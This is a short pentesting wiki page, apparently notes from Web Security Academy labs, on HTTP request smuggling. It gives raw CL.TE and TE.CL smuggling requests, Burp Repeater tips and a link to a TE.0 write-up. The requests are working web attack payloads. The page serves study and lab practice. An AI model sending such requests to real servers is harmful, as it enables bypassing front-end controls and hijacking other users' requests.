> For the complete documentation index, see [llms.txt](https://hackerlab.gitbook.io/wiki.hackerlab.cz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackerlab.gitbook.io/wiki.hackerlab.cz/web-pentesting/http-request-smuggling.md).

# HTTP Request Smuggling

Bypass, XSS and more

## CL.TE

```
POST / HTTP/1.1
Host: 0aa9006c0356f4eac12f806b00d70072.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
X-Ignore: x
```

<figure><img src="https://1354665097-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYLPTPmXutfLTHzDEhx%2Fuploads%2FuxeiAAEoBWavCjiX7n8h%2Fimage.png?alt=media&amp;token=90d1c138-5be1-4394-9c16-9a5cbe8b8992" alt=""><figcaption></figcaption></figure>

Note: Content Length is auto-computed by Burp (in orange)

## TE.CL

```
POST / HTTP/1.1
Host: 0a2c00bb04e22568c172dfbe00ba003d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

9e
GET /404 HTTP/1.1
Host: 0a2c00bb04e22568c172dfbe00ba003d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 144

x=
0


There are two ENTERS after final 0!
```

<figure><img src="https://1354665097-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MYLPTPmXutfLTHzDEhx%2Fuploads%2FZiKeTGGg5XooYUB6PzKo%2Fimage.png?alt=media&amp;token=f02fe557-24b0-4b1d-9a7f-cf92fd9d50b6" alt=""><figcaption></figcaption></figure>

Spot two enters on line 16 to end chunked request.\
\
Disable content Length computation in Burp Repeater settings.&#x20;

The first Content-Length has 4bytes just to express chunked size (on line 7, chunked bytes are computed from the orange part).

The second Content-Length which is slightly above, what is required from its data, to override next coming victim's request.

## TE.0 PoC

<https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/>
